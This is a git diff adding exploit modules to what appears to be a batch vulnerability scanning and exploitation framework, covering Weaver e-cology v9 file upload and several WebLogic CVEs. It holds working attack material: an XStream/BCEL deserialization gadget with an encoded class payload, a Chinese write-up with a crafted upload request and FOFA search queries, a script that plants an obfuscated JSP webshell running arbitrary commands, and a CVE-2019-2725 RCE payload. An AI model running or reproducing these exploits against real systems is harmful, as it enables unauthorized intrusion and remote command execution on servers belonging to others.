+
+
+
+
+ <java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85V$5bW$TW$U$fe$86$q$cc0$M$82A$84$a8$bd$d8V$N$u$89$d6$de$M$d6$8a$5c$ea$r$a05$U$x$da$ea0$ia$q$99$89$93$JP$7b$b1$ad$bd$df$ef$ad$bd$bc$f8$e2S$l$5c$ab$xj$5b$bb$da$3e$f6Gi$bf3$J$94$90$a8$ac$c5$999$fb$7c$fb$f6$ed$bdO$e6$df$5b$bf$fd$J$e01$fc$ac$a3$J$87t$a41$o$97Q$N$87u$i$c1s$g$8e$aa$c8$e8P1$a6$e2y$j$e38$s$91$_H$c9q$N$T$f2yB$c7I$bc$u$97$974$9cRqZ$83$a9$p$8aI$N$96$8a$v$N$v$VB$c7$ZL$cbeF$87$8d$b3$3a$ba0$ab$n$x$9f9$b98rq5$e4U$9c$d3$f1$Q$3c$V$F$F$8d$bbm$c7$f6$f7$u$I$c5$bb$c7$V$84$H$dc$v$a1$a05m$3bb$b4$98$9b$U$de$989$99$a5$q$9av$z3$3bnz$b6$dcW$84a$7f$c6$a6$8d$e6$f4$be$81$a1trh$ce$ce$f6$v$d0v$5b$d9$8a$cd$a8o$e5$L$ae5$x$7c$da$9b$j$c8$9a$e7$cf$xX$9d$3ek$ce$99$c9$ac$e9L$t$v$w$U$a8$T$9d$W$fe$40$d1$f3$84$e3$l$V$e7$8a$a2$e0$8f$uX$b7$M$e8$893Ya$f9$c9$R$e1$cf$b8S$d4XeU$c1e$80$ff$a3$PO$9e$r$98$u$e5$8c$82X$j3$c3$b6$c8J$x$9a$t$Ky$d7$v0$X$9d$n$i$f3l_xt$ad$cc$xh$x$eb$d9n$b2$y$ee$xc$f6$Ls$w$c0$84$ac$dcT$b5$db$8c$ef$d9$ce$b4tKR$da$cb$HE$df$ce$s3$96$e98$81$85$c8$9c$e9$ed$d8$a1$a0c$99$da$d0$82$r$f2$be$ed$3a$3co$c9$f8$a65$3bb$e6$D$86$d9$Y$w$7c$b6$85$8a$o$ab$ceR$b3$ce$y$l$p$c9$b8E$cf$S$c3$b6$yC$93d$3e$n$N$g$d8$84$cd$w$e6$M$ccc$c1$c0$cb$m$df$5b$y7$97$b0$cc$a25$e3$s$i$e1$cf$bb$del$ok$X$7c$e1$q$c6$ac$7cf$a9$3c$w$5e1$f0$w$5ec$85j$aa$c1$8eXQ4$D$af$e3$CIZI$3a$e35$f0$G$de4$f0$W$$$gx$h$X$a9$7bj$91$e6a$d3$o$7b$G$de$c1$bbL$c9$c0$7bx$df$c0$H$f8$909$y$d1$cf$daV$T$cf2$8d$X$b3c$MC7$f0$R$3e$$$83$cbu$a8$8a$a0$cc$3f$e3$afa$5e$c5$t$G$3e$c5g$G$3e$c7$X$w$be4$f0$V$be$96d$7d$a3$a0$e1d$bf$81o$f1$9d$81$efq$c9$c0$P$f8Q$BX$bf$3a$F2$f0$T6$d3$fdR$bb$x$e8$baS$8f$w$e8$bcC$dfU$c5$3c6$e31$R$W$be$d2$cf$8b$fb5$f1$ee$f4J$U$fb$a3C$96$c6u$7c$b1$e0$HeH$bbe$WbU$f0eGR$a7$ee$B$d3$c8$f2$r$90$u$d8$U$af$ed$e3$g$8b$7de$e6$X$f3$db$5bG$e7D$8dN$f7$dd$a6$b8$d1v$e6$dcY$b6$f0$aex$ed$f8$9e$a8$Vu$d7$hrMrRN$a3$bd$96$G9T$Ed$8ay$e1YeT$h$f7$83$82$hOLU$w$d2$7b$8f$fcW$5e$i$z$F$e1$f7$5b$96$u$U$ec$f2M$Y$9f$90$d7g$88$96$Vl$ae$93L$dd$c8$p$f3$b2$c1Y$a1z$de$c7$X$h9$90$k$z$3a$be$9d$ab$dcSK$9b$8e$aa$7c$xb$g$O$8b$Faq$f4$ef$91$d5$R$cf$95$v$f4Uy$aa$I9$86$f4t$c0$c9$X$7dj$K3$c7$86$5e$f4$c6$d1$5cv$40$f5$aex$dd$D$99$83Q$y$88A$91$b5s$e5Q$beKH$x$aeJu$c6$y$8c$b2$cf$83$9f$a6$J$e6$e4$E$9b$ea$c1X$bar$5b$f3$7c$f1$83$dbs$cc3$z$81$8dx$84$3f$a3$f2$af$81$d3$cck$91$eb$W$ee$92$7cr$c0$R$e9$b9$G$e5jp$i$e7$da$Y$I$9b$d0$cd$d5$u$D$d0$83$ad$7cj$d8$b6$a8$ac$dc$oN$a7$ec$9f$ebh$u$n$U$N$97$Q9$d4$Tm$M$dd$84Z$82$96$de$aa$f0$ad$a9$E$7dd$5b$J$cd$r$Y$d1$96$SV$8d$f6$S$d7$daKQ$5b$w$i$e3$7bstuE$p$V$89Eb$e1$8a$d2_$88$a6$gc$8d$d1$f6$S$d6H$fdhG$98$a8$e3$a1$e8$da$8c$84$aa1u$h$FM$Utf$C$f8$da$94$f6$3b$ba$8e_G$y$a6$95$b0$ae$84$f5$d7$b0$nz_$J$f7$a7$9ab$8d1$da$7c$e0$S$9a$e5$f3$c1$x$88D7$d2$ee$Vh$87zJx$f8j$90$e3$N$fc$c1$_$81P$c0$c00V$H$b9$hhA$tV$91$c0V$q$d0$86$9d$94$a7$f8$b1q$Q$ed$98$c0$g$98$e8$40$Rkymw$e22$3f$vn$60$3d$ad$c4p$T$eb$f076$E$M$e6$d1L$3b$bf$a0$97$W$Q$e0$92$d8N$8f$hy$c7$ee$c0$a3$e4$3c$c1$9b$7c$t$3f$8bB$b4$7d$B$8fS$W$a6$H$XO$Q$X$a1$9fSx$SO$91$ed$o$G$b1$8b2$95$fe$b6$T$db$c7z$5c$a6$c5$ddx$9a$d5$baI$ad$3dx$86$3e$f6$f2$ff4$c2$b7$f1$xt$V$fd$w$f6$a9$YP1$Y$ac$7c$l$K$d6a$V$cfB$e1$ee6$83$b9$X$ae$n$d8$N$dff$3c$90J$fb$c3T$3a$Qt$cc$c1$ff$A$T$b5l$7e$d7$J$A$A
</string>
</a>
</outer-class>
</names>
<processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
<parent class='sun.misc.Launcher$ExtClassLoader'>
</parent>
<package2certs class='hashtable'/>
<classes defined-in='java.lang.ClassLoader'/>
<defaultDomain>
<classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
</key>
</defaultDomain>
<domains class="java.util.Collections$SynchronizedSet" serialization="custom">
<java.util.Collections_-SynchronizedCollection>
<default>
<c class="set"></c>
<mutex class="java.util.Collections$SynchronizedSet" reference="../../.."/>
</default>
</java.util.Collections_-SynchronizedCollection>
</domains> <packages/>
<nativeLibraries/>
<assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
<defaultAssertionStatus>false</defaultAssertionStatus>
<classes/>
<ignored__packages>
<string>java.</string>
<string>javax.</string>
<string>sun.</string>
</ignored__packages>
<repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
<__path>
<paths/>
<class__path>.</class__path>
</__path>
<__loadedClasses/>
</repository>
<deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
+ 2
+
+
+ '''.format(cmd=cmd)
+ try:
+ requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+ r = requests.post(url,headers=headers,data=data,verify=False,timeout=5)
+ if "VulTest" in r.text and r.status_code == 500:
+ result['target'] = target
+ result['poc'] = NAME
+ result['url'] = url
+ return result
+ else:
+ pass
+ except:
+ pass
+if __name__ == '__main__':
+ target = sys.argv[1]
+ poc(target)
\ No newline at end of file
diff --git a/Moudle/Weaver/Weaver_e_cology_v9_file_upload.md b/Moudle/Weaver/Weaver_e_cology_v9_file_upload.md
new file mode 100644
index 0000000..762d863
--- /dev/null
+++ b/Moudle/Weaver/Weaver_e_cology_v9_file_upload.md
@@ -0,0 +1,94 @@
+# 1、漏洞描述
+
+
+
+泛微OA weaver.common.Ctrl 存在任意文件上传漏洞,可在前台直接getshell,漏洞危害很大,见到路过不要错过。
+
+使用fofa可搜索泛微OA相关的系统,不过不一定是存在漏洞的系统,需要尝试;
+
+```
+app="泛微-协同办公OA"
+```
+
+# 2、影响范围
+
+泛微e-cology v9
+
+# 3、漏洞验证
+
+## 3.1、漏洞URL
+
+此漏洞的深度成因暂未做研究,个人理解的是,此处存在上传功能,并且上传压缩包后,会自动解压,而此处文件名包含三层目录结构,则是为了将被压缩文件解压到可访问执行的目录中;
+
+漏洞的URL如下(重点是URI部分)
+
+```
+http://x.x.x.x:port/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp
+```
+
+若页面返回状态码为200,则可能存在漏洞;
+
+
+
+若页面返回状态码404,则不存在漏洞;
+
+## 3.2、漏洞验证/利用
+
+可使用成型的POC脚本批量验证/利用,也可手动单个验证;
+
+### 3.2.1、手动验证
+
+1. 用本地任意一个上传程序,burpsuit对上传文件的过程抓包;
+2. 修改URI、HOST、 POST表单中的name名称(改成file1)、POST表单中的Content-Type(改成图中的格式)、burpsuit中的Target,注意最好删除本地上传抓包内容中存在个人IP的head信息,如origin、refer等;
+
+
+
+1. 按如上步骤修改完成后,发送请求,若页面返回200,然后访问被上传文件的URL,http://x.x.x.x:port/cloudstore/welcome.txt,页面返回文件内容即是存在漏洞。
+
+
+
+POST包(==只用作参考,方便复制一些要修改的地方,还需自己本地抓上传包,因压缩包文件传输存在无法识别的内容,无法直接复制==):
+
+```
+POST
+/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp HTTP/1.1
+Host: x.x.x.x:8001
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
+Accept-Encoding: gzip, deflate
+Content-Type: multipart/form-data; boundary=---------------------------97014110427240678953456189835
+Content-Length: 536
+DNT: 1
+Connection: close
+Upgrade-Insecure-Requests: 1
+
+-----------------------------97014110427240678953456189835
+Content-Disposition: form-data; name="file1"; filename="welcome.zip"
+Content-Type: application/zip
+
+PK
+-----------------------------97014110427240678953456189835
+Content-Disposition: form-data; name="submit"
+
+ä¸ä¼
+-----------------------------97014110427240678953456189835--
+```
+
+**注意:**
+
+- 上传的文件必须是个zip压缩文件;
+
+- 被压缩的文件名要有../../../的三层目录结构,比如../../../test.txt,因Windows文件名不能有/,可先压缩文件,然后用7z解压缩软件打开该压缩包,重命名被压缩的文件,添加上三层目录结构的命名;
+
+- 不少站是能上传上去,但是访问存在的文件时,会跳转到登陆页面,也就是说只能传,但不能利用;
+
+
+
+### 3.2.2、脚本EXP验证/利用
+
+poc与exp结合,建议先poc验证,结合框架,poc可批量,同时打印poc的url,方便验证;
+
+exp上传的是个能执行命令的webshell,打印webshell地址,可直接执行命令。
+
+
\ No newline at end of file
diff --git a/Moudle/Weaver/Weaver_e_cology_v9_file_upload.py b/Moudle/Weaver/Weaver_e_cology_v9_file_upload.py
new file mode 100644
index 0000000..4d2a211
--- /dev/null
+++ b/Moudle/Weaver/Weaver_e_cology_v9_file_upload.py
@@ -0,0 +1,94 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+import zipfile
+import io
+import requests
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+
+# 脚本信息
+######################################################
+NAME='Weaver_e_cology_v9_file_upload'
+AUTHOR="境心"
+REMARK='泛微OA weaver.common.Ctrl 任意文件上传漏洞'
+FOFA_RULE='app="TDXK-通达OA"'
+######################################################
+
+def poc_zip():
+ poc_name = '../../../test.jsp'
+ content = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
+<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");
+%>"""
+ mem_string = io.BytesIO()
+ zfile = zipfile.ZipFile(mem_string, 'w', zipfile.ZIP_DEFLATED, allowZip64=False)
+ zfile.writestr(poc_name, content)
+ zfile.close()
+ mem_string.seek(0)
+ return mem_string
+
+def exp_zip():
+ exp_name = '../../../test1.jsp'
+ content = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
+<%@ page import="sun.misc.BASE64Decoder" %>
+<%
+ if(request.getParameter("cmd")!=null){
+ BASE64Decoder decoder = new BASE64Decoder();
+ Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
+ Process e = (Process)
+ rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
+ String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
+ Object[]{}), request.getParameter("cmd") );
+ java.io.InputStream in = e.getInputStream();
+ int a = -1;
+ byte[] b = new byte[2048];
+ out.print("");
+ while((a=in.read(b))!=-1){
+ out.println(new String(b));
+ }
+ out.print("");
+ }
+%>
+"""
+ mem_string = io.BytesIO()
+ zfile = zipfile.ZipFile(mem_string, 'w', zipfile.ZIP_DEFLATED, allowZip64=False)
+ zfile.writestr(exp_name, content)
+ zfile.close()
+ mem_string.seek(0)
+ return mem_string
+
+def poc(target,exp=None):
+ result = {}
+ target_url = target + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'
+ if exp == None:
+ mem_string = poc_zip()
+ GetShellurl = target + '/cloudstore/test.jsp'
+ elif exp == "exp":
+ mem_string = exp_zip()
+ GetShellurl = target + '/cloudstore/test1.jsp'
+ file = [('file1', ('test.zip', mem_string.read(), 'application/zip'))]
+ requests.post(url=target_url,files=file,timeout=5, verify=False)
+ shell_res = requests.get(url = GetShellurl)
+ GetShell_res = shell_res.text
+ GetShell_res_code = shell_res.status_code
+ if exp == "exp" and GetShell_res_code == 200:
+ print("webshell地址为: "+GetShellurl)
+ elif GetShell_res_code == 200 and "this is a friendly test" in GetShell_res:
+ result['poc_url'] = GetShellurl
+ result['message'] = "存在任意文件上传漏洞"
+ result['poc'] = NAME
+ return result
+ # print('利用成功webshell地址为:'+GetShellurl)
+ elif GetShell_res_code == 200 and "this is a friendly test" not in GetShell_res:
+ result['poc_url'] = GetShellurl
+ result['message'] = "存在上传漏洞但无法访问文件"
+ result['poc'] = NAME
+ return result
+
+if __name__ == '__main__':
+ # poc
+ poc("http://127.0.0.1")
+ # exp 传的是个能命令执行的webshell,POST传参cmd=命令
+ # poc("http://127.0.0.1", "exp")
\ No newline at end of file
diff --git a/Moudle/Weaver/images/1.png b/Moudle/Weaver/images/1.png
new file mode 100644
index 0000000..cf15f6b
Binary files /dev/null and b/Moudle/Weaver/images/1.png differ
diff --git a/Moudle/Weaver/images/2.jpg b/Moudle/Weaver/images/2.jpg
new file mode 100644
index 0000000..0dbc23e
Binary files /dev/null and b/Moudle/Weaver/images/2.jpg differ
diff --git a/Moudle/Weaver/images/3.png b/Moudle/Weaver/images/3.png
new file mode 100644
index 0000000..963f7ee
Binary files /dev/null and b/Moudle/Weaver/images/3.png differ
diff --git a/Moudle/Weaver/images/4.png b/Moudle/Weaver/images/4.png
new file mode 100644
index 0000000..6d05160
Binary files /dev/null and b/Moudle/Weaver/images/4.png differ
diff --git a/Moudle/Weblogic/CVE_2014_4210.py b/Moudle/Weblogic/CVE_2014_4210.py
new file mode 100644
index 0000000..6dfaf68
--- /dev/null
+++ b/Moudle/Weblogic/CVE_2014_4210.py
@@ -0,0 +1,34 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+import requests
+from Config.config_requests import ua
+
+
+# 脚本信息
+######################################################
+NAME='CVE_2014_4210'
+AUTHOR="Faith"
+REMARK='Weblogic SSRF漏洞'
+FOFA_RULE='app="Oracle-BEA-WebLogic-Server"'
+######################################################
+
+def poc(target):
+ result={}
+ vuln_url = target + "/uddiexplorer/SearchPublicRegistries.jsp"
+ headers = {"User-Agent":ua}
+ r = requests.get(vuln_url, headers=headers,verify=False,timeout=3)
+ try:
+ if r.status_code == 200:
+ result['target'] = target
+ result['poc'] = NAME
+ result['url'] = vuln_url
+ return result
+ else:
+ pass
+ except:
+ pass
+
+
+if __name__ == '__main__':
+ poc("http://127.0.0.1")
diff --git a/Moudle/Weblogic/CVE_2017_10271.py b/Moudle/Weblogic/CVE_2017_10271.py
new file mode 100644
index 0000000..2600f3d
--- /dev/null
+++ b/Moudle/Weblogic/CVE_2017_10271.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+
+import requests
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+# 脚本信息
+######################################################
+NAME='CVE_2017_10271'
+AUTHOR = "Faith"
+REMARK = 'Weblogic XML Decoder反序列化漏洞'
+FOFA_RULE='app="Oracle-BEA-WebLogic-Server"'
+######################################################
+def poc(target):
+ result={}
+ url = target + '/wls-wsat/CoordinatorPortType'
+ headers = {"User-Agent": 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
+ 'Upgrade-Insecure-Requests': '1',
+ 'Content-Type': 'text/xml'}
+ data = '''
+
+
+
+
+
+
+
+
+
+
+ '''
+ r = requests.post(url,headers=headers,data=data,timeout=3)
+ url1 = target + '/wls-wsat/test.txt'
+ r1 = requests.get(url1,headers=headers,timeout=3)
+ try:
+ if 'xmldecoder_vul_test' in r1.text:
+ result['target'] = target
+ result['poc'] = NAME
+ result['url'] = url
+ return result
+ else:
+ pass
+ except:
+ pass
+
+
+if __name__ == '__main__':
+ poc("http://127.0.0.1")
\ No newline at end of file
diff --git a/Moudle/Weblogic/CVE_2018_2894.py b/Moudle/Weblogic/CVE_2018_2894.py
new file mode 100644
index 0000000..0168e1e
--- /dev/null
+++ b/Moudle/Weblogic/CVE_2018_2894.py
@@ -0,0 +1,49 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+
+import requests
+from Config.config_requests import ua
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+# 脚本信息
+######################################################
+NAME='CVE_2018_2894'
+AUTHOR = "Faith"
+REMARK = 'Weblogic任意文件上传漏洞'
+FOFA_RULE='app="Oracle-BEA-WebLogic-Server"'
+######################################################
+
+def poc(target):
+ result={}
+ vuln_url1 = target + '/ws_utc/login.do'
+ vuln_url2 = target + '/ws_utc/config.do'
+ headers = {"User-Agent":ua}
+ r1 = requests.get(vuln_url1,headers=headers,timeout=3)
+ r2 = requests.get(vuln_url2,headers=headers,timeout=3)
+ try:
+ if r1.status_code == 200 and r2.status_code == 200:
+ result['target'] = target
+ result['poc'] = NAME
+ result['url1'] = vuln_url1
+ result['url2'] = vuln_url2
+ return result
+ elif r1.status_code == 200 and r2.status_code !=200:
+ result['target'] = target
+ result['poc'] = NAME
+ result['url'] = vuln_url1
+ return result
+ elif r1.status_code != 200 and r2.status_code == 200:
+ result['target'] = target
+ result['poc'] = NAME
+ result['url'] = vuln_url2
+ return result
+ else:
+ pass
+ except:
+ pass
+
+if __name__ == '__main__':
+ poc("http://127.0.0.1")
\ No newline at end of file
diff --git a/Moudle/Weblogic/CVE_2019_2725.py b/Moudle/Weblogic/CVE_2019_2725.py
new file mode 100644
index 0000000..f75ab2b
--- /dev/null
+++ b/Moudle/Weblogic/CVE_2019_2725.py
@@ -0,0 +1,121 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+import requests
+
+
+# 脚本信息
+######################################################
+NAME='CVE_2019_2725'
+AUTHOR="RabbitMask"
+REMARK='Weblogic RCE'
+FOFA_RULE='app="Oracle-BEA-WebLogic-Server"'
+######################################################
+
+
+VUL = ['CVE-2019-2725']
+
+
+def weblogic_10_3_6(ip):
+ headers = {
+ "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
+ "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
+ "Content-Type": "text/xml",
+ "cmd": "%s" % ("whoami")
+ }
+ body = """
+
+
+
+ oracle.toplink.internal.sessions.UnitOfWorkChangeSet
+ -84-19051151140231069711897461171161051084676105110107101100729711510483101116-40108-4190-107-35423020012011401710697118974611711610510846729711510483101116-7068-123-107-106-72-735230012011211912000166364000002115114058991111094611511711046111114103469711297991041014612097108971104610511011610111411097108461201151081169946116114971204684101109112108971161011157310911210898779-63110-84-855130973013951051101001011101167811710998101114730149511611497110115108101116731101001011209002195117115101831011141181059910111577101991049711010511510976025959799991011151156912011610111411097108831161211081011151041011011161160187610697118974710897110103478311611410511010359760119597117120671089711511510111511605976991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947114117110116105109101477297115104116979810810159910109598121116101991111001011151160391916691069599108971151151160189176106971189747108971101034767108971151155976059511097109101113012604760179511111711611211711680114111112101114116105101115116022761069711897471171161051084780114111112101114116105101115591201120000-1-1-1-1011603971081081121171140391916675-32521103103-37552001201120002117114029166-84-1323-86884-32200120112001429-54-2-70-66000500-70100303470-727037703810161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015-8332-109-13-111-35-176210660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151019831161179884114971101151081011168097121108111971001012731101101011146710897115115101115105376121115111115101114105971084711297121108111971001154711711610510847719710010310111611536831161179884114971101151081011168097121108111971005910911611497110115102111114109101144076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977599176991111094711511711047111114103479711297991041014712010910847105110116101114110971084711510111410597108105122101114478310111410597108105122971161051111107297110100108101114594186108100111991171091011101161045769911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699476879775910810497110100108101114115106691769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910106912099101112116105111110115703910-904076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977597699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145941861081051161011149711611111410537699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459107104971101001081011141065769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910108311111711499101701051081011012719710010310111611546106971189712010011704010511211151111151011141059710847112971211081119710011547117116105108477197100103101116115368311611798841149711011510810111680971211081119710010649911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699471141171101161051091014765981151161149799116841149711011510810111610201069711897471051114783101114105971081051229798108101105799111109471151171104711111410347971129799104101471209710897110471051101161011141109710847120115108116994784114971101151081011166912099101112116105111110103112111511111510111410597108471129712110811197100115471171161051084771971001031011161151086099108105110105116621016106971189747108971101034784104114101971007042101399117114114101110116841041141019710010204041761069711897471089711010347841041141019710059120440451004304610271191019810811110310599471191111141074769120101991171161018410411410197100704810141031011166711711411410111011687111114107102940417611910198108111103105994711911111410747871111141076510097112116101114591205005110049052104411910198108111103105994711510111411810810111647105110116101114110971084783101114118108101116821011131171011151167310911210870541039910910080561091031011167210197100101114103840761069711897471089711010347831161141051101035941761069711897471089711010347831161141051101035912058059100550601011103101116821011151121111101151011049404176119101981081111031059947115101114118108101116471051101161011141109710847831011141181081011168210111511211111011510173109112108591206206310055064103716675806610451191019810811110310599471151011141181081011164710511011610111411097108478310111411810810111682101115112111110115101731091121087068102011510111667104971149799116101114691109911110010511010310214076106971189747108971101034783116114105110103594186120700711006907210221031011168310111411810810111679117116112117116831161141019710910534041761191019810811110310599471151011141181081011164710511011610111411097108478310111411810810111679117116112117116831161141019710973109112108591207407510069076103511910198108111103105994712010910847117116105108478311611410511010373110112117116831161141019710970781022106971189747108971101034783116114105110103661171021021011147080100810341069711211210111010010444076106971189747108971101034783116114105110103594176106971189747108971101034783116114105110103661171021021011145912083084100810851053258321310808710811611183116114105110103102040417610697118974710897110103478311611410511010359120890901008109112010071100790931049119101981081111031059947115101114118108101116471051101161011141109710847831011141181081011167911711611211711683116114101971097310911210870951011119114105116101831161141019710910244076106971189747105111477311011211711683116114101971095941861209709810096099105102108117115104120101011100960102107111115461109710910180104101610697118974710897110103478312111511610110970106101110310111680114111112101114116121120108059100107010910161069711897471089711010347831161141051101037011110111161117611111910111467971151011201130901001120114103119105110801161089911111011697105110115102740761069711897471089711010347671049711483101113117101110991015941901201180119100112012010171069711897471089711010347821171101161051091017012210101031011168211711011610510910110214041761069711897471089711010347821171101161051091015912012401251001230126107991091003247993280-12810410112010199103940761069711897471089711010347831161141051101035941761069711897471089711010347801141119910111511559120-1260-1251001230-12410114798105110471151043245993280-12210221069711897471051114766117102102101114101100821019710010111470-120102510697118974710511147731101121171168311611410197109821019710010111470-11810171069711897471089711010347801141119910111511570-116101410310111673110112117116831161141019710910234041761069711897471051114773110112117116831161141019710959120-1140-113100-1150-11210424076106971189747105111477311011211711683116114101971095976106971189747108971101034783116114105110103594186120100-110100-1170-10910194076106971189747105111478210197100101114594186120100-107100-1190-10610080-1041081141019710076105110101120-102090100-1190-10110910310111687114105116101114102340417610697118974710511147801141051101168711410511610111459120-990-98100690-97101910697118974710511147801141051101168711410511610111470-95105119114105116101120-93071100-940-9210191069711897471089711010347691209910111211610511111070-901031111171161021761069711897471051114780114105110116831161141019710959120-880-87901070-861019106971189747108971101034784104114111119979810810170-84100-8309110191069711897471051114780114105110116831161141019710970-81107112114105110116108110120-79071100-800-781015112114105110116831169799107841149799101120-76011100-830-751013831169799107779711284979810810110291211151111151011141059710847801191101011145253525156514952505556575750103176121115111115101114105971084780119110101114525352515651495250555657575059033020301040102605060107000208040101001101012000470101000542-7301-79000201300060100047014000120100050150-710001019020020120006300030001-79000201300060100052014000320300010150-710000010210220100010230240202500040102601019027020120007300040001-79000201300060100056014000420400010150-710000010210220100010280290200010300310302500040102608041011010120011140701100118-8903176-72047-64049-74053-640551857-7406177-72047-64049-74053-64055-7406578451867-7407345-74077584254-6907989-6908189-7308244-740861888-74086-74092-73094-740100254-74010318105-7201105852551-91016255-74011518117-740121-10206-89033-720127-6908189-7308218-127-7408644-74086-74092-740-123586-89030-720127-6908189-7308218-121-7408644-74086-74092-740-123586-690-11989-690-11789256-740-1111867-730-108-730-105587158818-103589-89025-6908189-73082259-74086258-74086-74092589257-740-100895881-90-1-3145-740-96259-740-91-890245810-780-852510-740-82-740-772510-740-74-8903-79010940-70-40-89010-7300070093-10109060570112706970967011200229-402670-115-203270-119701127011221-102306057011270697096701120170-8920020320002033017000100102035016091171130126013001-44-54-2-70-6600050027100302170237024702510161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015113-26105-1860109712410660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151037011111110127311011010111467108971151151011151037761211151111151011141059710847112971211081119710011547117116105108477197100103101116115367011111159101083111117114991017010510810110127197100103101116115461069711897120100117026103512111511111510111410597108471129712110811197100115471171161051084771971001031011161153670111111101610697118974710897110103477998106101991161020106971189747105111478310111410597108105122979810810110311211151111151011141059710847112971211081119710011547117116105108477197100103101116115033020301040102605060107000208010101001101012000470101000542-7301-79000201300060100060014000120100050150180002019000202001700010010202201609112116048011911011411211910120115125000102910697118971204612010910846116114971101151021111141094684101109112108971161011151201140231069711897461089711010346114101102108101991164680114111120121-3139-3832-521667-53201760110411603776106971189747108971101034711410110210810199116477311011811199971161051111107297110100108101114591201121151140501151171104611410110210810199116469711011011111697116105111110466511011011111697116105111110731101181119997116105111110729711010010810111485-54-111521-53126-912027601210910110998101114869710811710111511601576106971189747117116105108477797112597604116121112101116017761069711897471089711010347671089711511559120112115114017106971189746117116105108467297115104779711257-38-63-612296-47302700101081119710070979911611111473091161041141011151041111081001201126364000001211980001600011160810253975397544856113012609120118114029106971189712046120109108461161149711011510211111410946841011091121089711610111500000000000120112120
+
+
+
+ """
+ url = "%s/wls-wsat/CoordinatorPortType" % (ip)
+ rsp = requests.post(url, data=body, verify=False, headers=headers)
